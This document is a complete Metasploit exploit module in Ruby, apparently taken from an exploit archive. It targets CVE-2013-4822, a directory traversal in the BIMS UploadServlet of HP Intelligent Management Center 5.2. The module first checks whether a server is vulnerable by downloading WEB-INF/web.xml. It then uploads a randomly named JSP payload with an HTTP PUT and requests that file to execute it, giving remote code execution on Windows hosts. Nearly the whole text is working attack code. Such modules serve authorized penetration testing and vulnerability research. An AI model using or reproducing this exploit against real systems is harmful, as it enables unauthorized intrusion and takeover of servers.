HP Intelligent Management Center BIMS UploadServlet Directory Traversal Exploit

:
23.10.2013
:
BIMS 5.2
:

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'HP Intelligent Management Center BIMS UploadServlet Directory Traversal',
'Description' => %q{
This module exploits a directory traversal vulnerability on the version 5.2 of the BIMS
component from the HP Intelligent Management Center. The vulnerability exists in the
UploadServlet, allowing the user to download and upload arbitrary files. This module has
been tested successfully on HP Intelligent Management Center with BIMS 5.2 E0401 on Windows
2003 SP2.
},
'Author' =>
[
'rgod <rgod[at]autistici.org>', # Vulnerability Discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-4822' ],
[ 'OSVDB', '98247' ],
[ 'BID', '62895' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-238/' ],
[ 'URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03943425' ]
],
'Privileged' => true,
'Platform' => 'win',
'Arch' => ARCH_JAVA,
'Targets' =>
[
[ 'HP Intelligent Management Center 5.1 E0202 - 5.2 E0401 / BIMS 5.1 E0201 - 5.2 E0401 / Windows', { } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 08 2013'))

register_options(
[
Opt::RPORT(8080)
], self.class)
end

def check
res = send_request_cgi({
'uri' => normalize_uri("/", "upload", "upload"),
'method' => 'GET',
'vars_get' => { 'fileName' => "WEB-INF/web.xml" },
})

if res.nil?
print_error("Unable to determine, because the request timed out.")
return Exploit::CheckCode::Unknown
end

if res.code == 200 and res.headers['Content-Type'] =~ /application\/doc/ and res.body =~ /com\.h3c\.imc\.bims\.acs\.server\.UploadServlet/
return Exploit::CheckCode::Vulnerable
elsif res.code == 405 and res.message =~ /Method Not Allowed/
return Exploit::CheckCode::Appears
end

return Exploit::CheckCode::Safe
end

def exploit
# New lines are handled on the vuln app and payload is corrupted
#jsp = payload.encoded.gsub(/\x0d\x0a/, "").gsub(/\x0a/, "")
jsp_name = "#{rand_text_alphanumeric(4+rand(32-4))}.jsp"

print_status("#{peer} - Uploading the JSP payload...")
res = send_request_cgi({
'uri' => normalize_uri("/", "upload", "upload"),
'method' => 'PUT',
'vars_get' => { 'fileName' => jsp_name },
'data' => payload.encoded
})

if res and res.code == 200 and res.body.empty?
print_status("#{peer} - JSP payload uploaded successfully")
register_files_for_cleanup("..\\web\\apps\\upload\\#{jsp_name}")
else
fail_with(Failure::Unknown, "#{peer} - JSP payload upload failed")
end

print_status("#{peer} - Executing payload...")
send_request_cgi({
'uri' => normalize_uri("/", "upload", jsp_name),
'method' => 'GET'
}, 1)

end

end